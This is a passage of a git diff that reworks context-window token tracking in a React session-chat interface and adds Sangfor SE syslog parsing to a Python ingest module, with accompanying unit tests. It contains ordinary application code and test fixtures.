activeBreakdown.usedTokens + pendingTokenDeltaTotal) + draftTokens, compactedTokens, - segments: normalizeFixedContextSegments(segments), + segments: normalizeFixedContextSegments(segments).map((segment) => ( + segment.key === 'systemPrompt' || segment.key === 'toolDefinitions' + ? { ...segment, included: false } + : segment + )), excludedSegments: [], }; } @@ -640,8 +805,10 @@ function ContextUsageRing({ : clamped >= 50 ? 'stroke-sky-500' : 'stroke-zinc-400'; - const rows = breakdown.segments; - const activeSegments = breakdown.segments.filter((segment) => segment.tokens > 0); + const rows = breakdown.segments.filter((segment) => ( + segment.key !== 'systemPrompt' && segment.key !== 'toolDefinitions' + )); + const activeSegments = breakdown.segments.filter((segment) => segment.included && segment.tokens > 0); useEffect(() => { if (!open) return undefined; @@ -750,9 +917,7 @@ function ContextUsageRing({
- {segment.included - ? formatTokenCount(segment.tokens) - : t('chat.contextUsage.excludedTokens', { tokens: formatTokenCount(segment.tokens) })} + {formatTokenCount(segment.included ? segment.tokens : 0)}
))} @@ -1654,6 +1819,25 @@ export default function SessionChat({ // sidebar → Agents → back to Sessions) doesn't wipe the user's half-typed // message. Subsequent session changes are re-hydrated by the effect below. const [input, setInput] = useState(() => readChatDraft(sessionId)); + const [submittedModelPromptSessionId, setSubmittedModelPromptSessionId] = useState(null); + const [pendingContextUsage, setPendingContextUsage] = useState({ + sessionId: null, + baselineSnapshot: null, + entries: {}, + }); + const pendingContextUsageRef = useRef(pendingContextUsage); + pendingContextUsageRef.current = pendingContextUsage; + const pendingContextSnapshotKeysRef = useRef<{ + sessionId: string; + keys: string[]; + } | null>(null); + const updatePendingContextUsage = useCallback(( + updater: (current: PendingContextUsageState) => PendingContextUsageState, + ) => { + const next = updater(pendingContextUsageRef.current); + pendingContextUsageRef.current = next; + setPendingContextUsage(next); + }, []); const [composerReferences, setComposerReferences] = useState([]); const [sending, setSending] = useState(false); const [isStreaming, setIsStreaming] = useState(false); @@ -1756,6 +1940,80 @@ export default function SessionChat({ applyPushSnapshot: applyContextUsagePushSnapshot, stopRefreshing: stopContextUsageRefreshing, } = useSessionContextUsage(sessionId); + const activeContextUsageSnapshot = contextUsageSnapshot?.sessionID === sessionId + ? contextUsageSnapshot + : null; + const beginPendingContextUsage = useCallback(( + key: string, + snapshotTokenDeltas: ContextUsageTokenDeltas, + baselineSnapshot: ContextUsageSnapshot | null = activeContextUsageSnapshot, + localTokenDeltas: ContextUsageTokenDeltas = {}, + ) => { + updatePendingContextUsage((current) => { + const continueCurrent = current.sessionId === sessionId + && Object.keys(current.entries).length > 0; + return { + sessionId: sessionId || null, + baselineSnapshot: continueCurrent ? current.baselineSnapshot : baselineSnapshot, + entries: { + ...(continueCurrent ? current.entries : {}), + [key]: { snapshotTokenDeltas, localTokenDeltas }, + }, + }; + }); + }, [activeContextUsageSnapshot, sessionId, updatePendingContextUsage]); + const resolvePendingContextUsage = useCallback(( + keys: string[], + expectedSessionId: string, + nextBaselineSnapshot?: ContextUsageSnapshot | null, + ) => { + if (keys.length === 0) return; + updatePendingContextUsage((current) => { + if (current.sessionId !== expectedSessionId) return current; + const entries = { ...current.entries }; + keys.forEach((key) => delete entries[key]); + const hasEntries = Object.keys(entries).length > 0; + return { + sessionId: hasEntries ? current.sessionId : null, + baselineSnapshot: hasEntries + ? nextBaselineSnapshot ?? current.baselineSnapshot + : null, + entries, + }; + }); + }, [updatePendingContextUsage]); + const removePendingContextUsage = useCallback((key: string) => { + resolvePendingContextUsage([key], sessionId || ''); + }, [resolvePendingContextUsage, sessionId]); + const clearPendingContextUsage = useCallback(() => { + pendingContextSnapshotKeysRef.current = null; + updatePendingContextUsage(() => ({ sessionId: null, baselineSnapshot: null, entries: {} })); + }, [updatePendingContextUsage]); + const refreshContextUsageAfterTurn = useCallback((options?: Parameters[0]) => { + if (!sessionId) return; + const pendingAtStart = pendingContextUsageRef.current; + const pendingKeys = pendingAtStart.sessionId === sessionId + ? Object.keys(pendingAtStart.entries) + : []; + const capturedPending = pendingKeys.length > 0 + ? { sessionId, keys: pendingKeys } + : null; + if (capturedPending) pendingContextSnapshotKeysRef.current = capturedPending; + const request = refreshContextUsage({ ...options, force: true }); + if (request) { + void request.then((snapshot) => { + if (!snapshot || !capturedPending) return; + resolvePendingContextUsage( + capturedPending.keys, + capturedPending.sessionId, + snapshot, + ); + if (pendingContextSnapshotKeysRef.current === capturedPending) { + pendingContextSnapshotKeysRef.current = null; + } + }); + } + }, [refreshContextUsage, resolvePendingContextUsage, sessionId]); const isCompactingRef = useRef(false); const prevStreamingRef = useRef(false); // Tracks "sessionId::message" key to prevent double-send in React StrictMode @@ -1910,6 +2168,11 @@ export default function SessionChat({ } = useSessionMessages(sessionId || undefined); + useEffect(() => { + setSubmittedModelPromptSessionId(null); + clearPendingContextUsage(); + }, [sessionId, clearPendingContextUsage]); + const seededOptimisticMessageIdRef = useRef(''); useEffect(() => { if ( @@ -1919,10 +2182,17 @@ export default function SessionChat({ ) return; seededOptimisticMessageIdRef.current = initialOptimisticMessage.id; + setSubmittedModelPromptSessionId(sessionId || null); + beginPendingContextUsage( + initialOptimisticMessage.id, + { conversation: estimateMessageTokens(initialOptimisticMessage) }, + null, + ); addMessage(initialOptimisticMessage); onInitialOptimisticMessageConsumed?.(initialOptimisticMessage.id); }, [ addMessage, + beginPendingContextUsage, initialOptimisticMessage, onInitialOptimisticMessageConsumed, sessionId, @@ -1949,15 +2219,94 @@ export default function SessionChat({ onFocusMessageConsumed?.(); }, [focusMessageId, loading, messages.length, onFocusMessageConsumed]); - const contextUsageMessages = contextUsageRefreshing && !contextUsageSnapshot ? [] : messages; + const sessionMessagesForContextUsage = useMemo( + () => messages.filter((message) => !message.sessionID || message.sessionID === sessionId), + [messages, sessionId], + ); + const hasUserMessage = useMemo( + () => sessionMessagesForContextUsage.some((message) => message.role === 'user'), + [sessionMessagesForContextUsage], + ); + const hasPersistedModelInvocation = useMemo( + () => sessionMessagesForContextUsage.some(isModelInvocationMessage), + [sessionMessagesForContextUsage], + ); + const pendingContextSnapshotTokenDeltas = useMemo( + () => Object.values(pendingContextUsage.entries).reduce( + (totals, entry) => { + Object.entries(entry.snapshotTokenDeltas).forEach(([key, tokenDelta]) => { + addContextTokenDelta( + totals, + key as ContextUsageBreakdownSegment['key'], + tokenDelta || 0, + ); + }); + return totals; + }, + {}, + ), + [pendingContextUsage.entries], + ); + const pendingContextLocalTokenDeltas = useMemo( + () => Object.values(pendingContextUsage.entries).reduce( + (totals, entry) => { + Object.entries(entry.localTokenDeltas).forEach(([key, tokenDelta]) => { + addContextTokenDelta( + totals, + key as ContextUsageBreakdownSegment['key'], + tokenDelta || 0, + ); + }); + return totals; + }, + {}, + ), + [pendingContextUsage.entries], + ); + const hasPendingContextUsage = pendingContextUsage.sessionId === sessionId + && Object.keys(pendingContextUsage.entries).length > 0; + const hasModelInvocation = submittedModelPromptSessionId === sessionId + || hasPersistedModelInvocation + || hasPendingContextUsage; + const canReconcilePendingWithLiveSnapshot = hasPendingContextUsage + && !pendingContextUsage.baselineSnapshot + && Boolean(activeContextUsageSnapshot); + const contextUsageSnapshotForBreakdown = hasPendingContextUsage + ? canReconcilePendingWithLiveSnapshot + ? activeContextUsageSnapshot + : pendingContextUsage.baselineSnapshot + : activeContextUsageSnapshot; + const pendingTokenDeltasForBreakdown = canReconcilePendingWithLiveSnapshot + ? pendingContextLocalTokenDeltas + : hasPendingContextUsage + ? pendingContextUsage.baselineSnapshot + ? pendingContextSnapshotTokenDeltas + : pendingContextLocalTokenDeltas + : {}; + const contextUsageMessages = !hasModelInvocation + ? [] + : contextUsageRefreshing && !contextUsageSnapshotForBreakdown && !hasPendingContextUsage + ? [] + : sessionMessagesForContextUsage; const contextUsageBreakdown = useMemo( - () => buildContextUsageBreakdown(contextUsageMessages, input, contextUsageSnapshot), - [contextUsageMessages, input, contextUsageSnapshot], + () => buildContextUsageBreakdown(contextUsageMessages, input, contextUsageSnapshotForBreakdown, { + includeSnapshotUsage: hasModelInvocation, + pendingTokenDeltas: pendingTokenDeltasForBreakdown, + useLocalMessageUsage: canReconcilePendingWithLiveSnapshot, + }), + [ + contextUsageMessages, + contextUsageSnapshotForBreakdown, + hasModelInvocation, + input, + pendingTokenDeltasForBreakdown, + canReconcilePendingWithLiveSnapshot, + ], ); const estimatedContextTokens = contextUsageBreakdown.usedTokens; - const resolvedContextWindowTokens = contextUsageSnapshot?.contextWindow && contextUsageSnapshot.contextWindow > 0 - ? contextUsageSnapshot.contextWindow - : contextUsageWindowTokens > 0 + const resolvedContextWindowTokens = activeContextUsageSnapshot?.contextWindow && activeContextUsageSnapshot.contextWindow > 0 + ? activeContextUsageSnapshot.contextWindow + : activeContextUsageSnapshot && contextUsageWindowTokens > 0 ? contextUsageWindowTokens : (contextWindowTokens || 0); const contextUsagePercent = resolvedContextWindowTokens > 0 @@ -1977,8 +2326,6 @@ export default function SessionChat({ const pendingQuestionsRef = useRef(pendingQuestions); useEffect(() => { pendingQuestionsRef.current = pendingQuestions; }, [pendingQuestions]); - const hasUserMessage = useMemo(() => messages.some((m) => m.role === 'user'), [messages]); - const sseEnabled = Boolean(sessionId) && (live || isStreaming || !hideInput); useEffect(() => { @@ -2027,6 +2374,8 @@ export default function SessionChat({ setIsStreaming(false); setGoalBanner(null); setDismissedGoalKey(''); + setSubmittedModelPromptSessionId(null); + clearPendingContextUsage(); clearMessages(); void refreshContextUsage({ clear: true }); return; @@ -2062,7 +2411,7 @@ export default function SessionChat({ setCompactingMessage(''); setCompactionStages([]); refetch(); - void refreshContextUsage({ skipIfFreshMs: 500 }); + refreshContextUsageAfterTurn({ skipIfFreshMs: 500 }); } return; case 'message-updated': { @@ -2079,7 +2428,7 @@ export default function SessionChat({ setIsStreaming(false); setSending(false); if (info.finish || info.time?.completed) { - void refreshContextUsage(); + refreshContextUsageAfterTurn(); } } else if (info.finish || info.time?.completed) { const shouldRefetch = shouldRefetchFinishedMessage({ @@ -2095,7 +2444,7 @@ export default function SessionChat({ setIsStreaming(false); } } - void refreshContextUsage(); + refreshContextUsageAfterTurn(); abortingRef.current = false; abortedMessageIdRef.current = null; } else if ( @@ -2115,6 +2464,8 @@ export default function SessionChat({ if (abortedMessageIdRef.current === action.messageID) { abortedMessageIdRef.current = null; } + removePendingContextUsage(action.messageID); + removePendingContextUsage(`edit:${action.messageID}`); removeMessage(action.messageID); return; } @@ -2175,15 +2526,25 @@ export default function SessionChat({ case 'context-compacted': void refreshContextUsage({ skipIfFreshMs: 500 }); return; - case 'context-usage-updated': + case 'context-usage-updated': { + const capturedPending = pendingContextSnapshotKeysRef.current; + if (capturedPending?.sessionId === action.snapshot.sessionID) { + resolvePendingContextUsage( + capturedPending.keys, + capturedPending.sessionId, + action.snapshot, + ); + pendingContextSnapshotKeysRef.current = null; + } applyContextUsagePushSnapshot(action.snapshot); return; + } case 'session-error': setIsStreaming(false); setIsCompacting(false); setCompactionStages([]); stopContextUsageRefreshing(); - void refreshContextUsage({ skipIfFreshMs: 500 }); + refreshContextUsageAfterTurn({ skipIfFreshMs: 500 }); abortingRef.current = false; sessionBusyRef.current = false; activeToolPartIdsRef.current.clear(); @@ -2199,8 +2560,12 @@ export default function SessionChat({ clearMessages, refetch, refreshContextUsage, + refreshContextUsageAfterTurn, applyContextUsagePushSnapshot, stopContextUsageRefreshing, + clearPendingContextUsage, + resolvePendingContextUsage, + removePendingContextUsage, handleQuestionAsked, removeByRequestId, applyPromptQueueItems, @@ -2290,7 +2655,7 @@ export default function SessionChat({ if (!sessionId) return; void reconcileSessionStatusAfterReconnect(); refetch(); - refreshContextUsage(); + void refreshContextUsage(); fetchPromptQueue(); fetchPendingQuestions(sessionId).catch((err) => { console.warn('[SessionChat] Failed to recover pending questions after reconnect:', err); @@ -2776,9 +3141,7 @@ export default function SessionChat({ options?: PromptDisplayOptions, ) => { if (!sessionId) return; - await ensureAutoModelSession(); const effectiveAgent = agentOverride || agentName; - const visibleText = options?.displayText || text; // Clear abort state immediately so SSE events for the new stream are not suppressed abortingRef.current = false; abortedMessageIdRef.current = null; @@ -2791,21 +3154,33 @@ export default function SessionChat({ const messageId = createMessageId(); const tempParts: MessagePart[] = []; - if (visibleText) tempParts.push({ id: `temp-${messageId}-text`, type: 'text', text: visibleText }); + const optimisticTextPart: MessagePart = { + id: `temp-${messageId}-text`, + type: 'text', + text, + ...(options?.displayText ? { metadata: { displayText: options.displayText } } : {}), + }; + if (text || options?.displayText) tempParts.push(optimisticTextPart); imageParts.forEach((img, i) => { tempParts.push({ id: `temp-${messageId}-img-${i}`, type: 'file', url: img.url, mime: img.mime, filename: img.filename }); }); - addMessage({ + const optimisticMessage = { id: messageId, sessionID: sessionId, role: 'user', - parts: tempParts.length > 0 ? tempParts : [{ id: `temp-${messageId}-part`, type: 'text', text: visibleText }], + parts: tempParts.length > 0 ? tempParts : [optimisticTextPart], timestamp: Date.now(), agent: effectiveAgent, - } as Message); + } as Message; + setSubmittedModelPromptSessionId(sessionId); + beginPendingContextUsage(messageId, { + conversation: estimateMessageTokens(optimisticMessage), + }); + addMessage(optimisticMessage); try { + await ensureAutoModelSession(); const payload: Record = { parts: buildPromptParts(text, imageParts), messageID: messageId, @@ -2826,6 +3201,12 @@ export default function SessionChat({ } catch (err: unknown) { setIsStreaming(false); removeMessage(messageId); + removePendingContextUsage(messageId); + if (!hasPersistedModelInvocation) { + setSubmittedModelPromptSessionId((currentSessionId) => ( + currentSessionId === sessionId ? null : currentSessionId + )); + } const axiosErr = err as any; if (axiosErr?.response?.status === 404) { onError?.(`Session not found. Please start a new session.`); @@ -3410,13 +3791,50 @@ export default function SessionChat({ suppressStreamingUntilIdleRef.current = false; isAtBottomRef.current = true; setActionMessageId(editingMessageId); + const sourceMessage = messagesRef.current.find((message) => message.id === editingMessageId); + const sourceMessageIndex = messagesRef.current.findIndex((message) => message.id === editingMessageId); + const sourcePart = sourceMessage?.parts.find((part) => part.id === editingPartId); + const originalText = sourcePart?.text || ''; + const pendingContextKey = `edit:${editingMessageId}`; + const editedMessageTokenDelta = sourceMessage + ? estimateMessageTokens({ + ...sourceMessage, + parts: sourceMessage.parts.map((part) => ( + part.id === editingPartId ? { ...part, text } : part + )), + }) - estimateMessageTokens(sourceMessage) + : countTokensLikeCompaction(text) - countTokensLikeCompaction(originalText); + const snapshotTokenDeltas: ContextUsageTokenDeltas = { conversation: editedMessageTokenDelta }; + const localTokenDeltas: ContextUsageTokenDeltas = {}; + if (sourceMessageIndex >= 0) { + estimateActiveMessageBreakdown( + messagesRef.current.slice(sourceMessageIndex + 1), + ).segments.forEach((segment) => { + addContextTokenDelta(snapshotTokenDeltas, segment.key, -segment.tokens); + addContextTokenDelta(localTokenDeltas, segment.key, -segment.tokens); + }); + } + setSubmittedModelPromptSessionId(sessionId); + beginPendingContextUsage( + pendingContextKey, + snapshotTokenDeltas, + activeContextUsageSnapshot, + localTokenDeltas, + ); + replaceMessageText(editingMessageId, editingPartId, text); try { await sessionApi.resendMessage(sessionId, editingMessageId, editingPartId, text); - replaceMessageText(editingMessageId, editingPartId, text); truncateAfterMessage(editingMessageId); setIsStreaming(true); resetEditingState(); } catch (err) { + replaceMessageText(editingMessageId, editingPartId, originalText); + removePendingContextUsage(pendingContextKey); + if (!hasPersistedModelInvocation) { + setSubmittedModelPromptSessionId((currentSessionId) => ( + currentSessionId === sessionId ? null : currentSessionId + )); + } reportActionError(t('chat.errors.resendFailed'), err); } finally { setActionMessageId(null); @@ -3426,7 +3844,11 @@ export default function SessionChat({ editingPartId, editingRole, editingText, + activeContextUsageSnapshot, + beginPendingContextUsage, + hasPersistedModelInvocation, replaceMessageText, + removePendingContextUsage, reportActionError, resetEditingState, sessionId, diff --git a/webui/src/features/session-chat/useSessionContextUsage.test.ts b/webui/src/features/session-chat/useSessionContextUsage.test.ts index 076f7f2e8..f556b0dcf 100644 --- a/webui/src/features/session-chat/useSessionContextUsage.test.ts +++ b/webui/src/features/session-chat/useSessionContextUsage.test.ts @@ -97,4 +97,79 @@ describe('useSessionContextUsage', () => { expect(result.current.snapshot?.usedTokens).toBe(420); }); + + it('forces a new request and reports whether its snapshot was applied', async () => { + const firstRequest = deferred(); + const forcedRequest = deferred(); + getContextUsageMock + .mockReturnValueOnce(firstRequest.promise) + .mockReturnValueOnce(forcedRequest.promise); + const { result } = renderHook(() => useSessionContextUsage('sess-1')); + + let appliedPromise: Promise | undefined; + act(() => { + result.current.refresh(); + appliedPromise = result.current.refresh({ force: true }); + }); + + expect(getContextUsageMock).toHaveBeenCalledTimes(2); + + await act(async () => { + firstRequest.resolve(buildSnapshot({ usedTokens: 900 })); + await firstRequest.promise; + }); + expect(result.current.snapshot).toBeNull(); + + let applied: ContextUsageSnapshot | null = null; + await act(async () => { + forcedRequest.resolve(buildSnapshot({ usedTokens: 420 })); + applied = await appliedPromise!; + }); + + expect(applied?.usedTokens).toBe(420); + expect(result.current.snapshot?.usedTokens).toBe(420); + }); + + it('reports a failed refresh without applying a snapshot', async () => { + const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}); + getContextUsageMock.mockRejectedValueOnce(new Error('unavailable')); + const { result } = renderHook(() => useSessionContextUsage('sess-1')); + + try { + let applied: ContextUsageSnapshot | null = buildSnapshot(); + await act(async () => { + applied = await result.current.refresh({ force: true })!; + }); + + expect(applied).toBeNull(); + expect(result.current.snapshot).toBeNull(); + expect(warnSpy).toHaveBeenCalled(); + } finally { + warnSpy.mockRestore(); + } + }); + + it('rejects a response from the previously rendered session immediately', async () => { + const request = deferred(); + getContextUsageMock.mockReturnValue(request.promise); + const { result, rerender } = renderHook( + ({ sessionId }) => useSessionContextUsage(sessionId), + { initialProps: { sessionId: 'sess-1' } }, + ); + + let appliedPromise: Promise | undefined; + act(() => { + appliedPromise = result.current.refresh({ force: true }); + }); + rerender({ sessionId: 'sess-2' }); + + let applied: ContextUsageSnapshot | null = buildSnapshot(); + await act(async () => { + request.resolve(buildSnapshot({ sessionID: 'sess-1', usedTokens: 900 })); + applied = await appliedPromise!; + }); + + expect(applied).toBeNull(); + expect(result.current.snapshot).toBeNull(); + }); }); diff --git a/webui/src/features/session-chat/useSessionContextUsage.ts b/webui/src/features/session-chat/useSessionContextUsage.ts index 1131cab52..8a4f50919 100644 --- a/webui/src/features/session-chat/useSessionContextUsage.ts +++ b/webui/src/features/session-chat/useSessionContextUsage.ts @@ -4,6 +4,7 @@ import { sessionApi, type ContextUsageSnapshot } from '@/api/session'; export interface RefreshContextUsageOptions { clear?: boolean; + force?: boolean; skipIfFreshMs?: number; } @@ -11,9 +12,14 @@ export function useSessionContextUsage(sessionId?: string | null) { const [snapshot, setSnapshot] = useState(null); const [refreshing, setRefreshing] = useState(false); const [contextWindowTokens, setContextWindowTokens] = useState(0); - const requestRef = useRef<{ sessionId: string; promise: Promise } | null>(null); + const requestRef = useRef<{ + sessionId: string; + promise: Promise; + } | null>(null); const requestSeqRef = useRef(0); const lastPushAtRef = useRef(0); + const activeSessionIdRef = useRef(sessionId); + activeSessionIdRef.current = sessionId; const reset = useCallback((nextRefreshing = false) => { setSnapshot(null); @@ -37,6 +43,9 @@ export function useSessionContextUsage(sessionId?: string | null) { Date.now() - lastPushAtRef.current < options.skipIfFreshMs ) { return; + } else if (options?.force) { + requestSeqRef.current += 1; + requestRef.current = null; } const existingRequest = requestRef.current; @@ -47,16 +56,28 @@ export function useSessionContextUsage(sessionId?: string | null) { const requestSessionId = sessionId; const requestSeq = requestSeqRef.current; const request = sessionApi.getContextUsage(requestSessionId).then((nextSnapshot) => { - if (requestSeq === requestSeqRef.current && nextSnapshot.sessionID === sessionId) { + if ( + requestSeq === requestSeqRef.current + && requestSessionId === activeSessionIdRef.current + && nextSnapshot.sessionID === activeSessionIdRef.current + ) { setSnapshot(nextSnapshot); if (nextSnapshot.contextWindow && nextSnapshot.contextWindow > 0) { setContextWindowTokens(nextSnapshot.contextWindow); } setRefreshing(false); + return nextSnapshot; } + return null; }).catch((err) => { - setRefreshing(false); + if ( + requestSeq === requestSeqRef.current + && requestSessionId === activeSessionIdRef.current + ) { + setRefreshing(false); + } console.warn('[SessionChat] Failed to fetch context usage:', err); + return null; }).finally(() => { if (requestRef.current?.promise === request) { requestRef.current = null; diff --git a/webui/src/hooks/useSessionChat.test.ts b/webui/src/hooks/useSessionChat.test.ts index 589094aa9..6e0109bba 100644 --- a/webui/src/hooks/useSessionChat.test.ts +++ b/webui/src/hooks/useSessionChat.test.ts @@ -194,7 +194,11 @@ describe('useSessionChat.createAndSend — image forwarding', () => { id: messageId, sessionID: SESSION_ID, agent: 'rex', - parts: [expect.objectContaining({ type: 'text', text: 'visible prompt' })], + parts: [expect.objectContaining({ + type: 'text', + text: 'internal prompt', + metadata: { displayText: 'visible prompt' }, + })], }); act(() => { diff --git a/webui/src/hooks/useSessionChat.ts b/webui/src/hooks/useSessionChat.ts index a884aa366..77034583d 100644 --- a/webui/src/hooks/useSessionChat.ts +++ b/webui/src/hooks/useSessionChat.ts @@ -169,13 +169,13 @@ export function useSessionChat({ await client.post(`/api/session/${sid}/prompt_async`, payload); if (!resumedExistingSession) { - const visibleText = displayText || text; const optimisticParts: Message['parts'] = []; - if (visibleText) { + if (text || displayText) { optimisticParts.push({ id: `temp-${messageId}-text`, type: 'text', - text: visibleText, + text, + ...(displayText ? { metadata: { displayText } } : {}), }); } imageParts?.forEach((image, index) => { @@ -193,7 +193,7 @@ export function useSessionChat({ role: 'user', parts: optimisticParts.length > 0 ? optimisticParts - : [{ id: `temp-${messageId}-part`, type: 'text', text: visibleText }], + : [{ id: `temp-${messageId}-part`, type: 'text', text }], timestamp: Date.now(), agent, }); diff --git a/webui/src/locales/en-US/session.json b/webui/src/locales/en-US/session.json index cbadeacf4..79c4d5d78 100644 --- a/webui/src/locales/en-US/session.json +++ b/webui/src/locales/en-US/session.json @@ -183,7 +183,6 @@ "close": "Close", "full": "{{percent}}% Full", "tokens": "~{{used}} / {{total}} Tokens", - "excludedTokens": "{{tokens}} excluded", "noAttributedSegments": "No attributed breakdown", "breakdown": { "systemPrompt": "System prompt", diff --git a/webui/src/locales/zh-CN/session.json b/webui/src/locales/zh-CN/session.json index 849fe828b..169dac84f 100644 --- a/webui/src/locales/zh-CN/session.json +++ b/webui/src/locales/zh-CN/session.json @@ -183,7 +183,6 @@ "close": "关闭", "full": "{{percent}}% 已用", "tokens": "~{{used}} / {{total}} Tokens", - "excludedTokens": "已排除 {{tokens}}", "noAttributedSegments": "暂无可归因明细", "breakdown": { "systemPrompt": "系统提示词", diff --git a/webui/src/pages/Session/index.test.tsx b/webui/src/pages/Session/index.test.tsx index 4a116b8f1..612515f66 100644 --- a/webui/src/pages/Session/index.test.tsx +++ b/webui/src/pages/Session/index.test.tsx @@ -185,7 +185,11 @@ vi.mock('@/components/common/SessionChat', () => ({ initialOptimisticMessage?: { id: string; sessionID: string; - parts: Array<{ type: string; text?: string }>; + parts: Array<{ + type: string; + text?: string; + metadata?: { displayText?: string }; + }>; } | null; focusMessageId?: string | null; model?: { providerID: string; modelID: string } | null; @@ -230,6 +234,7 @@ vi.mock('@/components/common/SessionChat', () => ({ data-initial-display={initialDisplayText ?? ''} data-optimistic-id={initialOptimisticMessage?.id ?? ''} data-optimistic-text={initialOptimisticMessage?.parts.find((part) => part.type === 'text')?.text ?? ''} + data-optimistic-display={initialOptimisticMessage?.parts.find((part) => part.type === 'text')?.metadata?.displayText ?? ''} data-focus-message={focusMessageId ?? ''} > {sessionId ?? 'no-session'} @@ -2026,6 +2031,16 @@ describe('SessionPage session actions menu', () => { }), ); }); + await waitFor(() => { + expect(screen.getByTestId('session-chat')).toHaveAttribute( + 'data-optimistic-text', + 'welcome.alertOperationsSuggestion', + ); + expect(screen.getByTestId('session-chat')).toHaveAttribute( + 'data-optimistic-display', + '@@flocks-instruction:welcome.alertOperations', + ); + }); expect(screen.getByTestId('mock-chat-input')).toHaveTextContent(''); }); diff --git a/webui/src/pages/Session/index.tsx b/webui/src/pages/Session/index.tsx index d68e2e862..1a18d31f0 100644 --- a/webui/src/pages/Session/index.tsx +++ b/webui/src/pages/Session/index.tsx @@ -1618,14 +1618,14 @@ export default function SessionPage() { }); const newSessionId = response.data.id; const messageId = createMessageId(); - const visibleText = options?.displayText || text; const effectiveAgent = agentOverride || selectedAgent || 'rex'; const optimisticParts: Message['parts'] = []; - if (visibleText) { + if (text || options?.displayText) { optimisticParts.push({ id: `temp-${messageId}-text`, type: 'text', - text: visibleText, + text, + ...(options?.displayText ? { metadata: { displayText: options.displayText } } : {}), }); } imageParts?.forEach((image, index) => { @@ -1674,7 +1674,7 @@ export default function SessionPage() { role: 'user', parts: optimisticParts.length > 0 ? optimisticParts - : [{ id: `temp-${messageId}-part`, type: 'text', text: visibleText }], + : [{ id: `temp-${messageId}-part`, type: 'text', text }], timestamp: Date.now(), agent: effectiveAgent, }); From fa5ffae82ea771ef671dceacf3f0a1726fa99484 Mon Sep 17 00:00:00 2001 From: duguwanglong Date: Thu, 6 Aug 2026 18:10:52 +0800 Subject: [PATCH 20/67] feat(syslog): support Sangfor SE format --- flocks/ingest/syslog/parser.py | 80 ++++++++++++++++++- tests/ingest/test_syslog_parser.py | 75 +++++++++++++++++ .../tabs/IntegrationTab.test.tsx | 1 + .../WorkflowDetail/tabs/IntegrationTab.tsx | 1 + 4 files changed, 155 insertions(+), 2 deletions(-) create mode 100644 tests/ingest/test_syslog_parser.py diff --git a/flocks/ingest/syslog/parser.py b/flocks/ingest/syslog/parser.py index 270891350..c7761826e 100644 --- a/flocks/ingest/syslog/parser.py +++ b/flocks/ingest/syslog/parser.py @@ -1,7 +1,8 @@ -"""Parse syslog lines (RFC 5424 and BSD / RFC 3164 style) without external deps.""" +"""Parse syslog lines (RFC 5424, RFC 3164, and Sangfor SE) without external deps.""" from __future__ import annotations +import json import re from datetime import datetime from typing import Any, Dict, Optional @@ -20,6 +21,10 @@ r"([\s\S]*)$", # message re.DOTALL, ) +_SE_ISO_TS_RE = re.compile( + r"\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d+)?(?:Z|[+-]\d{2}:\d{2})?" +) +_SE_SPACE_TS_RE = re.compile(r"\d{4}-\d{2}-\d{2}\s+\d{2}:\s*\d{2}:\s*\d{2}") def _pri_parts(pri: int) -> tuple[int, int]: @@ -54,7 +59,7 @@ def parse_syslog(raw: str, format_hint: str = "auto") -> Dict[str, Any]: """ Parse one syslog payload into a dict suitable for workflow inputs. - format_hint: "auto" | "rfc3164" | "rfc5424" + format_hint: "auto" | "rfc3164" | "rfc5424" | "se" """ text = raw.decode("utf-8", errors="replace") if isinstance(raw, (bytes, bytearray)) else raw text = text.strip() @@ -72,6 +77,8 @@ def parse_syslog(raw: str, format_hint: str = "auto") -> Dict[str, Any]: m_pri = _PRI_RE.match(text) if not m_pri: + if format_hint == "se" or (format_hint == "auto" and _looks_like_se(text)): + return _parse_se(text, raw=text, facility=1, severity=6) return { "raw": text, "facility": 0, @@ -87,6 +94,8 @@ def parse_syslog(raw: str, format_hint: str = "auto") -> Dict[str, Any]: facility, severity = _pri_parts(pri) rest = text[m_pri.end() :] + if format_hint == "se" or (format_hint == "auto" and _looks_like_se(rest)): + return _parse_se(rest, raw=text, facility=facility, severity=severity) if format_hint == "rfc3164": return _parse_rfc3164(rest, raw=text, facility=facility, severity=severity) if format_hint == "rfc5424": @@ -106,6 +115,73 @@ def parse_syslog(raw: str, format_hint: str = "auto") -> Dict[str, Any]: return _parse_rfc3164(rest, raw=text, facility=facility, severity=severity) +def _looks_like_se(rest: str) -> bool: + parts = rest.strip().split("|!", 3) + return ( + len(parts) == 4 + and parts[1].strip() in {"secevent", "alarm"} + and parts[3].lstrip().startswith(("{", "[")) + ) + + +def _normalize_se_ts(prefix: str) -> str: + iso_match = _SE_ISO_TS_RE.search(prefix) + if iso_match: + return _normalize_ts(iso_match.group(0)) + space_match = _SE_SPACE_TS_RE.search(prefix) + if space_match: + timestamp = re.sub(r"\s*:\s*", ":", space_match.group(0)) + try: + return datetime.fromisoformat(timestamp).isoformat() + except ValueError: + pass + return prefix.strip() + + +def _parse_se( + rest: str, + *, + raw: str, + facility: int, + severity: int, +) -> Dict[str, Any]: + parts = rest.strip().split("|!", 3) + if len(parts) != 4: + return { + "raw": raw, + "facility": facility, + "severity": severity, + "timestamp": "", + "hostname": "", + "app_name": "", + "message": rest.strip(), + "format": "se", + "log_type": "", + "client_ip": "", + "data": None, + } + + timestamp, log_type, client_ip, message = (part.strip() for part in parts) + try: + data = json.loads(message) + except (json.JSONDecodeError, TypeError): + data = None + + return { + "raw": raw, + "facility": facility, + "severity": severity, + "timestamp": _normalize_se_ts(timestamp), + "hostname": client_ip, + "app_name": log_type, + "message": message, + "format": "se", + "log_type": log_type, + "client_ip": client_ip, + "data": data, + } + + def _next_rfc5424_token(s: str) -> tuple[str, str]: """Pop one syslog field from *s*; structured data may start with '['.""" s = s.lstrip() diff --git a/tests/ingest/test_syslog_parser.py b/tests/ingest/test_syslog_parser.py new file mode 100644 index 000000000..43f191c6e --- /dev/null +++ b/tests/ingest/test_syslog_parser.py @@ -0,0 +1,75 @@ +from flocks.ingest.syslog.parser import parse_syslog + + +def test_parse_se_event_with_pri() -> None: + raw = ( + '<14>2021-07-08 10:18:00|!secevent|!10.60.61.233|!' + '{"ip":"1.1.1.1","threat_level":3,"tag":["Petya","勒索病毒"]}' + ) + + parsed = parse_syslog(raw, "se") + + assert parsed == { + "raw": raw, + "facility": 1, + "severity": 6, + "timestamp": "2021-07-08T10:18:00", + "hostname": "10.60.61.233", + "app_name": "secevent", + "message": '{"ip":"1.1.1.1","threat_level":3,"tag":["Petya","勒索病毒"]}', + "format": "se", + 